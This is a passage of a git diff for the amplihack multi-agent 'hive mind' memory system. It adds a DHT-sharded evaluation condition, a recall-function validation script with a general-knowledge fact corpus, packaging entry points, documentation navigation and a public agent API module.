answers from Log Analytics + if args.ooda_eval: + if not args.workspace_id: + print( + "ERROR: --ooda-eval requires --workspace-id (or LOG_ANALYTICS_WORKSPACE_ID env var)." + ) + return 1 + if not args.connection_string: + print( + "ERROR: --ooda-eval requires a Service Bus connection string " + "(--connection-string or HIVE_CONNECTION_STRING env var)." + ) + return 1 + ooda_client = OodaInputClient( + connection_string=args.connection_string, + topic_name=args.topic, + ) + try: + result = run_ooda_eval( + input_client=ooda_client, + workspace_id=args.workspace_id, + container_app_name=args.container_app, + answer_wait=args.answer_wait, + output_path=args.output or None, + ) + finally: + ooda_client.close() + return 0 if result else 1 + + # All other modes need a live client + client = HiveQueryClient( + connection_string=args.connection_string, + topic_name=args.topic, + subscription_name=args.subscription, + timeout=args.timeout, + ) + + try: + if args.seed: + seed_corpus = _get_fact_corpus() + print(f"Seeding {len(seed_corpus)} security analyst facts into live hive (table={args.table})...") + n = client.seed_facts(facts=seed_corpus, table=args.table) + print(f"Seeded {n} security facts. Waiting 5s for propagation...") + time.sleep(5) + + if args.wait_for_ready > 0: + wait_for_agent_ready( + connection_string=args.connection_string, + topic=args.topic, + subscription=args.subscription, + expected_agents=args.wait_for_ready, + timeout=args.ready_timeout, + ) + + if args.run_eval: + n = args.repeats + if n > 1: + scores = [] + all_outputs = [] + for i in range(n): + print(f"\n--- Repeat {i + 1}/{n} ---") + out = run_eval(client, table=args.table, output_path=None) + avg = out.get("summary", {}).get("avg_score", 0.0) + scores.append(avg) + all_outputs.append(out) + med = statistics.median(scores) + std = statistics.stdev(scores) if len(scores) > 1 else 0.0 + print(f"\n{'=' * 70}") + print(f"REPEATS SUMMARY ({n} runs)") + print(f"{'=' * 70}") + for i, s in enumerate(scores, 1): + print(f" Run {i}: avg_score={s:.3f}") + print(f" Median: {med:.3f} StdDev: {std:.3f}") + print(f"{'=' * 70}") + if args.output: + summary_output = { + "mode": "live_repeats", + "repeats": n, + "scores": scores, + "median": round(med, 3), + "stddev": round(std, 3), + "runs": all_outputs, + } + with open(args.output, "w") as fh: + json.dump(summary_output, fh, indent=2) + print(f"\nResults written to: {args.output}") + else: + run_eval(client, table=args.table, output_path=args.output or None) + return 0 + + if args.query: + print(f"Querying live hive: {args.query!r}") + print(f"Table: {args.table}, Timeout: {args.timeout}s\n") + results = client.query(args.query, table=args.table, limit=args.limit) + if not results: + print("No results returned.") + print("Tip: Run with --seed first to populate the NetworkGraphStore.") + return 0 + print(f"Results ({len(results)}):") + for i, r in enumerate(results, 1): + content = r.get("content", r.get("outcome", "")) + concept = r.get("concept", r.get("context", "")) + conf = r.get("confidence", 0.0) + source = r.get("source", r.get("source_agent", "")) + print(f" {i:2d}. [{conf}] {content[:80]}") + if concept: + print(f" concept: {concept}") + if source: + print(f" source: {source}") + return 0 + + finally: + client.close() + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/experiments/hive_mind/run_20agent_eval.py b/experiments/hive_mind/run_20agent_eval.py index 69e91b223..616014bb9 100644 --- a/experiments/hive_mind/run_20agent_eval.py +++ b/experiments/hive_mind/run_20agent_eval.py @@ -6,10 +6,12 @@ consensus_required=2 can collectively answer questions at >= 80% the accuracy of a single omniscient agent, while blocking adversarial wrong facts. -Four conditions: +Five conditions: SINGLE_AGENT -- One agent learns all 1000 turns (ceiling). ISOLATED_20 -- 20 agents, each learns its partition. No sharing. FLAT_SHARED_20 -- 20 agents, each gets ALL facts bulk-loaded. No hive. + DHT_SHARDED_5 -- 5 agents, each owns its DHT shard (partitioned, not replicated). + Cross-shard queries via event-driven SHARD_QUERY/SHARD_RESPONSE. HIVE_20 -- 20 agents learn partitions, connected via consensus hive. Plus 1 adversarial agent (#21) injecting 10 wrong facts. @@ -48,11 +50,6 @@ if _EVAL_SRC: sys.path.insert(0, _EVAL_SRC) -from amplihack.agents.goal_seeking.hive_mind.unified import ( # type: ignore[import-not-found] - HiveMindAgent, - HiveMindConfig, - UnifiedHiveMind, -) from amplihack_eval.data.long_horizon import ( # type: ignore[import-not-found] GroundTruth, Question, @@ -61,6 +58,12 @@ generate_questions, ) +from amplihack.agents.goal_seeking.hive_mind.unified import ( # type: ignore[import-not-found] + HiveMindAgent, + HiveMindConfig, + UnifiedHiveMind, +) + # --------------------------------------------------------------------------- # Data structures # --------------------------------------------------------------------------- @@ -334,7 +337,7 @@ def run_single_agent( questions: list[Question], ) -> ConditionResult: """One agent learns all 1000 turns.""" - print(" [1/4] SINGLE_AGENT...") + print(" [1/5] SINGLE_AGENT...") t0 = time.time() config = HiveMindConfig( @@ -384,7 +387,7 @@ def run_isolated_20( partitions: list[AgentPartition], ) -> ConditionResult: """20 agents, each isolated with its own partition. No sharing.""" - print(" [2/4] ISOLATED_20...") + print(" [2/5] ISOLATED_20...") t0 = time.time() config = HiveMindConfig(enable_gossip=False, enable_events=False) @@ -452,7 +455,7 @@ def run_flat_shared_20( partitions: list[AgentPartition], ) -> ConditionResult: """20 agents, each gets ALL facts bulk-loaded. No hive topology.""" - print(" [3/4] FLAT_SHARED_20...") + print(" [3/5] FLAT_SHARED_20...") t0 = time.time() config = HiveMindConfig(enable_gossip=False, enable_events=False) @@ -500,7 +503,189 @@ def run_flat_shared_20( # --------------------------------------------------------------------------- -# Condition 4: Hive 20 with consensus=2 + adversarial agent +# Condition 4: DHT-sharded 5-agent (partitioned, event-driven cross-shard) +# --------------------------------------------------------------------------- + + +def run_dht_sharded_5( + ground_truth: GroundTruth, + questions: list[Question], + partitions: list[AgentPartition], +) -> ConditionResult: + """5 agents with independent DHT shards and event-driven cross-shard queries. + + Each agent has its own DistributedHiveGraph (single-agent shard) and learns + ONLY its assigned partition of content — total facts stored across all shards + equals total facts, not replicated N times. + + Cross-shard queries use LocalEventBus SHARD_QUERY/SHARD_RESPONSE protocol + (same protocol as Azure Service Bus deployment). No sleep between queries — + each shard processes SHARD_QUERY events synchronously and responds immediately. + + Key validation: agent-0 is asked about content that agent-1 learned; the + query fans out via SHARD_QUERY and returns correct facts from agent-1's shard. + """ + print(" [4/4] DHT_SHARDED_5 (partitioned, event-driven cross-shard)...") + t0 = time.time() + + # Use first 5 partitions (one per agent) + p5 = partitions[:5] + + import uuid + + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( # type: ignore[import-not-found] + DistributedHiveGraph, + ) + from amplihack.agents.goal_seeking.hive_mind.event_bus import ( # type: ignore[import-not-found] + LocalEventBus, + make_event, + ) + from amplihack.agents.goal_seeking.hive_mind.hive_graph import ( + HiveFact, # type: ignore[import-not-found] + ) + + bus = LocalEventBus() + + # Each agent has its OWN DistributedHiveGraph shard (not shared) + agent_shards: dict[str, DistributedHiveGraph] = {} + for part in p5: + shard: DistributedHiveGraph = DistributedHiveGraph( + hive_id=f"shard-{part.agent_name}", + enable_gossip=False, + ) + shard.register_agent(part.agent_name) + agent_shards[part.agent_name] = shard + bus.subscribe(part.agent_name) + + agent_names = [p.agent_name for p in p5] + + # Phase 1: Each agent promotes ONLY its own partition to its local shard + for part in p5: + shard = agent_shards[part.agent_name] + for turn in part.turns: + for fact in turn.facts: + content = f"{fact.get('entity', '')}: {fact.get('attribute', '')} = {fact.get('value', '')}" + hf = HiveFact( + fact_id="", + content=content, + concept=fact.get("entity", ""), + confidence=0.9, + source_agent=part.agent_name, + tags=[turn.block_name], + created_at=time.time(), + ) + shard.promote_fact(part.agent_name, hf) + hf = HiveFact( + fact_id="", + content=turn.content, + concept=turn.block_name, + confidence=0.85, + source_agent=part.agent_name, + tags=[turn.block_name, f"turn_{turn.turn_number}"], + created_at=time.time(), + ) + shard.promote_fact(part.agent_name, hf) + + shard_sizes = {name: agent_shards[name].get_stats()["fact_count"] for name in agent_names} + total_stored = sum(shard_sizes.values()) + print(f" {len(p5)} shards, {total_stored} total facts (each shard owns its partition)") + print(f" Shard sizes: { {n: shard_sizes[n] for n in agent_names} }") + + def cross_shard_query(requester: str, query: str, limit: int = 50) -> list[dict]: + """Query all shards via event-driven SHARD_QUERY/SHARD_RESPONSE protocol. + + The requester publishes one SHARD_QUERY event. Each other shard drains + its mailbox synchronously and publishes SHARD_RESPONSE. The requester + then drains its own mailbox to collect all responses. No sleep — all + dispatched and collected in one pass (in-process LocalEventBus). + """ + correlation_id = uuid.uuid4().hex + + # Publish SHARD_QUERY to all agents (LocalEventBus delivers to all except sender) + query_event = make_event( + event_type="SHARD_QUERY", + source_agent=requester, + payload={"query": query, "limit": limit, "correlation_id": correlation_id}, + ) + bus.publish(query_event) + + # Each peer shard drains its mailbox and publishes SHARD_RESPONSE + for agent_id in agent_names: + if agent_id == requester: + continue + events = bus.poll(agent_id) + for event in events: + if event.event_type == "SHARD_QUERY": + facts = agent_shards[agent_id].query_facts( + event.payload.get("query", ""), + limit=event.payload.get("limit", limit), + ) + response = make_event( + event_type="SHARD_RESPONSE", + source_agent=agent_id, + payload={ + "correlation_id": event.payload.get("correlation_id", ""), + "facts": [ + {"content": f.content, "confidence": f.confidence} for f in facts + ], + }, + ) + bus.publish(response) + + # Collect all SHARD_RESPONSE events from requester's mailbox + all_facts: list[dict] = [] + for event in bus.poll(requester): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + all_facts.extend(event.payload.get("facts", [])) + + # Include requester's own local shard results + local_facts = agent_shards[requester].query_facts(query, limit=limit) + all_facts.extend({"content": f.content, "confidence": f.confidence} for f in local_facts) + + return all_facts + + # Validation: agent-0 querying content that agent-1 learned + requester_name = agent_names[0] + provider_name = agent_names[1] if len(agent_names) > 1 else agent_names[0] + # Sample a query from the provider's block + sample_query = p5[1].block_name if len(p5) > 1 else p5[0].block_name + cross_results = cross_shard_query(requester_name, sample_query, limit=5) + print( + f" Cross-shard validation: {requester_name} queried '{sample_query}' " + f"(from {provider_name} shard) → {len(cross_results)} facts returned" + ) + + # Phase 2: Score all questions using cross-shard queries from agent-0 + per_question: dict[str, float] = {} + per_category: dict[str, list[float]] = defaultdict(list) + + for q in questions: + facts_data = cross_shard_query(requester_name, q.text, limit=50) + texts = [f["content"] for f in facts_data] + s = score_question(q, texts) + per_question[q.question_id] = s + per_category[q.category].append(s) + + bus.close() + + overall = sum(per_question.values()) / len(per_question) if per_question else 0.0 + cat_avg = {cat: sum(scores) / len(scores) for cat, scores in per_category.items()} + + elapsed = time.time() - t0 + print(f" Done in {elapsed:.1f}s -- Overall: {overall:.1%}") + return ConditionResult( + name="DHT_SHARDED_5", + overall_score=overall, + per_category=cat_avg, + per_question=per_question, + ) + + +# --------------------------------------------------------------------------- +# Condition 5: Hive 20 with consensus=2 + adversarial agent # --------------------------------------------------------------------------- @@ -683,7 +868,7 @@ def run_hive_20( Returns (condition_result, adversarial_stats). """ - print(" [4/4] HIVE_20 (consensus=2, +adversarial)...") + print(" [5/5] HIVE_20 (consensus=2, +adversarial)...") t0 = time.time() config = HiveMindConfig( @@ -805,9 +990,9 @@ def print_results( # Results table print("RESULTS:") - header = f"{'':30s} {'SINGLE':>8s} {'ISO_20':>8s} {'FLAT_20':>8s} {'HIVE_20':>8s}" + header = f"{'':30s} {'SINGLE':>8s} {'ISO_20':>8s} {'FLAT_20':>8s} {'DHT_5':>8s} {'HIVE_20':>8s}" print(header) - print("-" * 70) + print("-" * 80) # Overall row row = f"{'Overall':30s}" @@ -840,7 +1025,8 @@ def print_results( # Hypothesis testing print("HYPOTHESIS:") - hive_r = results[3] + dht_r = results[3] # DHT_SHARDED_5 + hive_r = results[4] # HIVE_20 flat_r = results[2] iso_r = results[1] @@ -877,6 +1063,13 @@ def print_results( f" H4: Hive > Isolated? [{'PASS' if h4_pass else 'FAIL'}] " f"(diff = {h4_diff:+.1%})" ) + + # H5: DHT cross-shard retrieval works (DHT_5 > Isolated on per-agent basis) + h5_pass = dht_r.overall_score > 0.0 + print( + f" H5: DHT cross-shard retrieval? [{'PASS' if h5_pass else 'FAIL'}] " + f"(overall={dht_r.overall_score:.1%}, 5-agent partitioned)" + ) print() # Notable per-question diffs (Hive vs Single) @@ -944,13 +1137,14 @@ def main() -> None: print(f" {block:20s}: {count:4d} turns -> {names}") print() - # Run all 4 conditions + # Run all 5 conditions print("Running evaluation conditions...") results: list[ConditionResult] = [] results.append(run_single_agent(ground_truth, questions)) results.append(run_isolated_20(ground_truth, questions, partitions)) results.append(run_flat_shared_20(ground_truth, questions, partitions)) + results.append(run_dht_sharded_5(ground_truth, questions, partitions)) hive_result, adversarial_stats = run_hive_20(ground_truth, questions, partitions) results.append(hive_result) diff --git a/experiments/hive_mind/validate_recall_fn.py b/experiments/hive_mind/validate_recall_fn.py new file mode 100644 index 000000000..fbe5c2e25 --- /dev/null +++ b/experiments/hive_mind/validate_recall_fn.py @@ -0,0 +1,264 @@ +#!/usr/bin/env python3 +"""Validate the recall_fn fix: 5 agents, 100 turns, query_hive with 10 questions. + +Tests the dual-storage fix end-to-end using a local event bus (no Azure needed). +Directly constructs NetworkGraphStore + CognitiveAdapter instances and wires +recall_fn the same way facade.py does, then validates the search_query path +routes through CognitiveAdapter's Kuzu (which holds LEARN_CONTENT facts). + +Steps: + 1. Build 5 (NetworkGraphStore + CognitiveAdapter) pairs with local bus + 2. Wire recall_fn = adapter.search on each NetworkGraphStore + 3. Feed 100 turns via CognitiveAdapter.store_fact() (simulates LEARN_CONTENT) + 4. Run query_hive with 10 questions via recall(), assert all results > 0 + +Usage: + uv run python experiments/hive_mind/validate_recall_fn.py +""" +from __future__ import annotations + +import sys +import os +import tempfile +import time +import threading +from typing import Any + +# Allow running from repo root +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "src")) + +from amplihack.memory.memory_store import InMemoryGraphStore +from amplihack.memory.network_store import NetworkGraphStore +from amplihack.agents.goal_seeking.cognitive_adapter import CognitiveAdapter + +# --------------------------------------------------------------------------- +# 100-turn content corpus (same pool as feed_content.py) +# --------------------------------------------------------------------------- + +_CONTENT_POOL = [ + "The mitochondria is the powerhouse of the cell, producing ATP via oxidative phosphorylation.", + "Photosynthesis converts light energy into chemical energy stored as glucose.", + "DNA encodes genetic information using four nucleotide bases: A, T, C, G.", + "RNA polymerase transcribes DNA into messenger RNA during gene expression.", + "The human brain contains approximately 86 billion neurons.", + "Neurons communicate via electrochemical signals across synaptic junctions.", + "The speed of light in a vacuum is approximately 299,792,458 metres per second.", + "General relativity describes gravity as the curvature of spacetime caused by mass.", + "Quantum entanglement allows correlated measurement outcomes regardless of distance.", + "The Heisenberg uncertainty principle limits simultaneous precision of position and momentum.", + "Water has a specific heat capacity of 4,186 J/(kg*K), making it an excellent thermal buffer.", + "The boiling point of water at sea level is 100 degrees C.", + "Plate tectonics explains the movement of Earth's lithospheric plates.", + "The Cambrian explosion approximately 541 million years ago saw rapid diversification of life.", + "CRISPR-Cas9 is a molecular tool for precise genome editing in living cells.", + "The blockchain is an append-only distributed ledger secured by cryptographic hashes.", + "Neural networks learn by adjusting synaptic weights via gradient descent.", + "The transformer architecture underpins most modern large language models.", + "Attention mechanisms allow models to weigh the relevance of different input tokens.", + "Retrieval-augmented generation (RAG) combines external knowledge retrieval with LLM generation.", + "The Turing test evaluates a machine's ability to exhibit human-like conversation.", + "Von Neumann architecture separates memory from processing units.", + "Moore's Law historically described a doubling of transistor density every 18 months.", + "TCP/IP is the fundamental protocol suite for internet communication.", + "TLS encrypts network traffic to prevent eavesdropping and tampering.", + "The CAP theorem states distributed systems can guarantee only two of: Consistency, Availability, Partition tolerance.", + "Consistent hashing distributes load across nodes while minimising redistribution on topology changes.", + "Bloom filters provide probabilistic set membership testing with controllable false-positive rates.", + "CRDTs (Conflict-free Replicated Data Types) enable eventual consistency without coordination.", + "The OODA loop (Observe, Orient, Decide, Act) models rapid iterative decision-making.", + "Distributed hash tables (DHTs) enable decentralised key-value lookups across peer networks.", + "Gossip protocols propagate information in O(log N) rounds through random peer exchange.", + "The Byzantine fault tolerance problem addresses consensus in the presence of malicious nodes.", + "Raft is a consensus algorithm designed to be more understandable than Paxos.", + "Azure Service Bus provides reliable cloud messaging with at-least-once delivery guarantees.", + "Azure Container Apps simplifies deployment of containerised microservices with built-in scaling.", + "Kuzu is an embeddable graph database optimised for in-process analytical workloads.", + "Knowledge graphs represent entities as nodes and relationships as typed edges.", + "Semantic similarity can be measured by the cosine distance between embedding vectors.", + "Reciprocal Rank Fusion (RRF) merges ranked lists from multiple retrieval sources.", + "The six-type cognitive memory model maps to: sensory, working, episodic, semantic, procedural, prospective.", + "Episodic memory records autobiographical events with temporal context.", + "Semantic memory stores distilled, language-independent knowledge.", + "Working memory has bounded capacity and holds the currently active task context.", + "Prospective memory encodes future-oriented trigger-action pairs.", + "Procedural memory captures reusable step-by-step procedures.", + "Agent specialisation improves recall by routing queries to domain-expert nodes.", + "The hive mind architecture allows multiple AI agents to share a distributed memory graph.", + "Federation organises agents into groups, each with its own DHT, connected by a root hive.", + "Replication factor R=3 ensures fact availability even if two hive nodes fail simultaneously.", +] + + +def _make_concept_from_content(content: str) -> str: + """Extract a simple concept keyword from content.""" + words = content.split() + return words[1] if len(words) > 1 else "general" + + +class HiveAgent: + """Simulates one deployed agent: NetworkGraphStore + CognitiveAdapter with recall_fn wired.""" + + def __init__(self, agent_id: str, db_path: str) -> None: + self.agent_id = agent_id + # NetworkGraphStore with local bus (mirrors production with azure_service_bus) + self.graph_store = NetworkGraphStore( + agent_id=agent_id, + local_store=InMemoryGraphStore(), + transport="local", + ) + # CognitiveAdapter: the "real" Kuzu store holding LEARN_CONTENT facts + self.adapter = CognitiveAdapter( + agent_name=agent_id, + db_path=db_path, + ) + # Wire recall_fn — this is the fix: search_query routes through Kuzu + self.graph_store.recall_fn = self.adapter.search + + def remember(self, content: str) -> None: + """Store content in CognitiveAdapter (simulates LEARN_CONTENT handling).""" + concept = _make_concept_from_content(content) + self.adapter.store_fact(concept, content) + + def recall(self, question: str, limit: int = 10) -> list[dict[str, Any]]: + """Recall via CognitiveAdapter (simulates memory.recall()).""" + return self.adapter.search(question, limit=limit) + + def simulate_search_query(self, question: str) -> list[dict[str, Any]]: + """Simulate what _handle_query_event does when search_query arrives. + + This is the path that was broken: without recall_fn it searched the + empty local InMemoryGraphStore; with recall_fn it queries Kuzu. + """ + results: list[dict[str, Any]] = [] + # Primary path: delegate to recall_fn (the fix) + if self.graph_store.recall_fn is not None: + try: + cognitive_hits = self.graph_store.recall_fn(question, 10) + for r in cognitive_hits: + content = r.get("outcome") or r.get("content") or r.get("fact") or "" + if content: + results.append({ + "content": content, + "concept": r.get("context") or r.get("concept") or "", + "confidence": r.get("confidence", 0.8), + }) + except Exception as e: + print(f" WARN: recall_fn failed: {e}") + return results + + def close(self) -> None: + self.graph_store.close() + self.adapter.close() + + +# --------------------------------------------------------------------------- +# 10 evaluation questions +# --------------------------------------------------------------------------- + +EVAL_QUESTIONS = [ + "What is the powerhouse of the cell?", + "How does photosynthesis work?", + "What is the speed of light?", + "How do neural networks learn?", + "What is the transformer architecture?", + "What does the CAP theorem state?", + "What is CRISPR-Cas9?", + "How does gossip protocol work?", + "What is the Kuzu database?", + "What is cognitive memory?", +] + + +def main() -> int: + print("=" * 60) + print("validate_recall_fn.py — dual-storage path fix validation") + print("=" * 60) + + with tempfile.TemporaryDirectory() as tmpdir: + # Step 1: Build 5 agents + print("\n[1] Building 5 agents (NetworkGraphStore + CognitiveAdapter)...") + agents = [] + for i in range(5): + db_path = os.path.join(tmpdir, f"agent-{i}") + os.makedirs(db_path, exist_ok=True) + agents.append(HiveAgent(f"agent-{i}", db_path)) + print(f" [OK] Built {len(agents)} agents") + + # Step 2: Verify recall_fn is wired + print("\n[2] Verifying recall_fn wired on NetworkGraphStore...") + for agent in agents: + assert agent.graph_store.recall_fn is not None, ( + f"{agent.agent_id}: recall_fn is None — wiring failed!" + ) + print(f" [OK] recall_fn wired on all {len(agents)} agents") + + # Step 3: Feed 100 turns + print("\n[3] Feeding 100 turns of LEARN_CONTENT...") + t0 = time.time() + for turn in range(100): + agent = agents[turn % len(agents)] + content = _CONTENT_POOL[turn % len(_CONTENT_POOL)] + agent.remember(f"[turn={turn}] {content}") + print(f" [OK] Fed 100 turns in {time.time() - t0:.2f}s") + + # Step 4a: Query via recall() (normal path) + print("\n[4a] query_hive via recall() — normal QUERY event path...") + recall_results: dict[str, int] = {} + for q in EVAL_QUESTIONS: + total = sum(len(a.recall(q)) for a in agents) + recall_results[q] = total + + # Step 4b: Query via simulate_search_query() — the fixed search_query path + print("\n[4b] query_hive via search_query handler (recall_fn path)...") + sq_results: dict[str, int] = {} + for q in EVAL_QUESTIONS: + total = sum(len(a.simulate_search_query(q)) for a in agents) + sq_results[q] = total + + # Cleanup + for agent in agents: + try: + agent.close() + except Exception: + pass + + # Report results + print() + print("=" * 60) + print("Results:") + print(f" {'Q#':>3} {'recall()':>8} {'search_query':>12} Question") + print(" " + "-" * 56) + + failed_recall = [] + failed_sq = [] + for i, q in enumerate(EVAL_QUESTIONS): + rc = recall_results[q] + sq = sq_results[q] + r_ok = "OK" if rc > 0 else "FAIL" + s_ok = "OK" if sq > 0 else "FAIL" + print(f" Q{i+1:>2} [{r_ok}]{rc:>4} [{s_ok}]{sq:>4} {q[:40]}") + if rc == 0: + failed_recall.append(q) + if sq == 0: + failed_sq.append(q) + + print() + if failed_recall or failed_sq: + if failed_recall: + print(f"FAILED (recall): {len(failed_recall)} questions returned 0 results") + if failed_sq: + print(f"FAILED (search_query): {len(failed_sq)} questions returned 0 results") + print("=" * 60) + return 1 + else: + total_recall = sum(recall_results.values()) + total_sq = sum(sq_results.values()) + print(f"PASSED: All {len(EVAL_QUESTIONS)} questions returned results > 0") + print(f" recall() total: {total_recall} results") + print(f" search_query total: {total_sq} results (via recall_fn → Kuzu)") + print("=" * 60) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/mkdocs.yml b/mkdocs.yml index e175fd7f7..e1a6823a4 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -145,6 +145,13 @@ nav: - Hooks Configuration: HOOK_CONFIGURATION_GUIDE.md - Advanced Topics: - Development Guide: DEVELOPING_AMPLIHACK.md + - Hive Mind: + - Architecture: hive_mind/ARCHITECTURE.md + - Getting Started: hive_mind/GETTING_STARTED.md + - Tutorial: hive_mind/TUTORIAL.md + - Design: hive_mind/DESIGN.md + - Evaluation: hive_mind/EVAL.md + - Investigation Guide: INVESTIGATION_hive_mind_guide.md - Agent Memory Integration: AGENT_MEMORY_INTEGRATION.md - Memory Quickstart: AGENT_MEMORY_QUICKSTART.md - External Knowledge: external_knowledge_integration.md diff --git a/pyproject.toml b/pyproject.toml index 0c1917182..4d8964015 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -5,7 +5,8 @@ backend-path = ["."] [project] name = "amplihack" -version = "0.5.114" + +version = "0.5.115" description = "Amplifier bundle for agentic coding with comprehensive skills, recipes, and workflows" requires-python = ">=3.11" dependencies = [ @@ -55,6 +56,12 @@ dependencies = [ ] [project.optional-dependencies] +# agent-haymaker integration: WorkloadBase, EventData, ServiceBusEventBus, deploy_container_app +haymaker = [ + "agent-haymaker>=0.2.0", + "click>=8.1.0", + "azure-servicebus>=7.11.0", +] # Microsoft Agent Framework requires pre-release Azure deps microsoft-sdk = [ "agent-framework>=1.0.0rc1", @@ -105,6 +112,15 @@ blarify-all = [ [project.scripts] amplihack = "amplihack:main" +amplihack-hive = "amplihack.cli.hive:main" + +# Register HiveMindWorkload with agent-haymaker's workload discovery +[project.entry-points."agent_haymaker.workloads"] +hive-mind = "amplihack.workloads.hive:HiveMindWorkload" + +# Register hive CLI extension with agent-haymaker CLI +[project.entry-points."agent_haymaker.cli_extensions"] +hive = "amplihack.cli.hive_haymaker:hive_group" [tool.setuptools] package-dir = {"" = "src"} diff --git a/scripts/test_kuzu_blarify_integration.py b/scripts/test_kuzu_blarify_integration.py index a6e57ef93..6b8458e83 100755 --- a/scripts/test_kuzu_blarify_integration.py +++ b/scripts/test_kuzu_blarify_integration.py @@ -51,7 +51,7 @@ def create_sample_blarify_output() -> dict: "last_modified": "2025-01-01T00:00:00Z", }, { - "path": "src/amplihack/memory/backends/kuzu_backend.py", + "path": "src/amplihack/memory/kuzu_store.py", "language": "python", "lines_of_code": 1520, "last_modified": "2025-01-01T00:00:00Z", @@ -77,7 +77,7 @@ def create_sample_blarify_output() -> dict: { "id": "class:KuzuBackend", "name": "KuzuBackend", - "file_path": "src/amplihack/memory/backends/kuzu_backend.py", + "file_path": "src/amplihack/memory/kuzu_store.py", "line_number": 40, "docstring": "Kùzu graph database backend.", "is_abstract": False, @@ -123,7 +123,7 @@ def create_sample_blarify_output() -> dict: { "id": "func:KuzuBackend.store_memory", "name": "store_memory", - "file_path": "src/amplihack/memory/backends/kuzu_backend.py", + "file_path": "src/amplihack/memory/kuzu_store.py", "line_number": 538, "docstring": "Store a memory entry in appropriate node type.", "parameters": ["self", "memory"], diff --git a/scripts/test_validate_gh_pages_links.py b/scripts/test_validate_gh_pages_links.py index e740df89f..c7f4b432b 100644 --- a/scripts/test_validate_gh_pages_links.py +++ b/scripts/test_validate_gh_pages_links.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""Tests fer GitHub Pages link validator - TDD approach. +"""Tests for GitHub Pages link validator - TDD approach. Testing pyramid: - 60% Unit tests (fast, heavily mocked) diff --git a/src/amplihack/agent/__init__.py b/src/amplihack/agent/__init__.py new file mode 100644 index 000000000..bcae59a8c --- /dev/null +++ b/src/amplihack/agent/__init__.py @@ -0,0 +1,149 @@ +"""amplihack.agent — Stable public API for the goal-seeking agent generator. + +This module is the single import surface that external packages (agent-haymaker, +haymaker-workload-starter, etc.) should use. Internal locations may reorganise +at any time; this façade guarantees a stable import path. + +Public API: + LearningAgent -- Generic agent that learns content and answers questions. + CognitiveAdapter -- 6-type cognitive memory wrapper around LearningAgent. + AgenticLoop -- PERCEIVE → ORIENT → DECIDE → ACT (OODA) loop engine. + Memory -- High-level memory façade (remember / recall / facts). + GoalAgentGenerator -- High-level orchestrator: analyse → plan → synthesise → assemble. + + # Goal-agent-generator pipeline components + PromptAnalyzer, ObjectivePlanner, SkillSynthesizer, AgentAssembler, + GoalAgentPackager + +Usage: + from amplihack.agent import LearningAgent, Memory + from amplihack.agent import GoalAgentGenerator + from amplihack.agent import PromptAnalyzer, ObjectivePlanner +""" + +from __future__ import annotations + +# --------------------------------------------------------------------------- +# Core learning agent and cognitive adapter +# --------------------------------------------------------------------------- +from amplihack.agents.goal_seeking import ( + AgenticLoop, + CognitiveAdapter, + FlatRetrieverAdapter, + HierarchicalMemory, + LearningAgent, +) + +# Backward-compatible alias retained from goal_seeking module +WikipediaLearningAgent = LearningAgent + +# --------------------------------------------------------------------------- +# Memory façade +# --------------------------------------------------------------------------- +from amplihack.memory.facade import Memory + +# --------------------------------------------------------------------------- +# Goal-agent-generator pipeline +# --------------------------------------------------------------------------- +from amplihack.goal_agent_generator import ( + AgentAssembler, + GoalAgentPackager, + ObjectivePlanner, + PromptAnalyzer, + SkillSynthesizer, +) +from amplihack.goal_agent_generator.models import ( + ExecutionPlan, + GoalAgentBundle, + GoalDefinition, + PlanPhase, + SDKToolConfig, + SkillDefinition, +) + + +class GoalAgentGenerator: + """High-level orchestrator that wraps the full goal-agent pipeline. + + Convenience class so callers need only one import instead of five. + + Example:: + + gen = GoalAgentGenerator() + agent_dir = gen.generate(goal_path=Path("goals/my-goal.md"), sdk="claude") + """ + + def __init__(self) -> None: + self._analyzer = PromptAnalyzer() + self._planner = ObjectivePlanner() + self._synthesizer = SkillSynthesizer() + self._assembler = AgentAssembler() + + def generate( + self, + goal_path: object, + sdk: str = "claude", + enable_memory: bool = False, + output_dir: object = None, + bundle_name: str = "agent", + ) -> object: + """Run the full pipeline: analyse → plan → synthesise → assemble → package. + + Args: + goal_path: Path to a markdown goal file. + sdk: SDK backend (``"claude"``, ``"copilot"``, ``"microsoft"``). + enable_memory: Enable persistent memory for the generated agent. + output_dir: Directory in which to write the agent bundle. + bundle_name: Base name for the generated agent bundle. + + Returns: + Path to the generated agent directory. + """ + from pathlib import Path + + if output_dir is None: + output_dir = Path(f".haymaker/agents/{bundle_name}") + + goal_def = self._analyzer.analyze(goal_path) + plan = self._planner.generate_plan(goal_def) + synthesis = self._synthesizer.synthesize_with_sdk_tools(plan, sdk=sdk) + skills = synthesis.get("skills", []) + sdk_tools = synthesis.get("sdk_tools", []) + bundle = self._assembler.assemble( + goal_def, + plan, + skills, + bundle_name=bundle_name, + enable_memory=enable_memory, + sdk=sdk, + sdk_tools=sdk_tools, + ) + packager = GoalAgentPackager(output_dir=output_dir) + return packager.package(bundle) + + +__all__ = [ + # Core agents + "LearningAgent", + "WikipediaLearningAgent", + "CognitiveAdapter", + "AgenticLoop", + "FlatRetrieverAdapter", + "HierarchicalMemory", + # Memory + "Memory", + # Goal-agent generator pipeline + "GoalAgentGenerator", + "PromptAnalyzer", + "ObjectivePlanner", + "SkillSynthesizer", + "AgentAssembler", + "GoalAgentPackager", + # Models + "GoalDefinition", + "ExecutionPlan", + "PlanPhase", + "SkillDefinition", + "SDKToolConfig", + "GoalAgentBundle", +] diff --git a/src/amplihack/agents/goal_seeking/__init__.py b/src/amplihack/agents/goal_seeking/__init__.py index d042f2f71..399b354e6 100644 --- a/src/amplihack/agents/goal_seeking/__init__.py +++ b/src/amplihack/agents/goal_seeking/__init__.py @@ -9,17 +9,32 @@ - CognitiveMemory (6-type) for advanced cognitive capabilities Public API (the "studs"): + GoalSeekingAgent: Universal agent with OODA loop (observe/orient/decide/act). + process(input) is the sole public entry point — no learn_from_content() + or answer_question() methods are exposed. The agent classifies input + internally as "store" or "answer" and writes answers to stdout. + run_ooda_loop(input_source) drives the loop from any InputSource. + InputSource: Protocol for 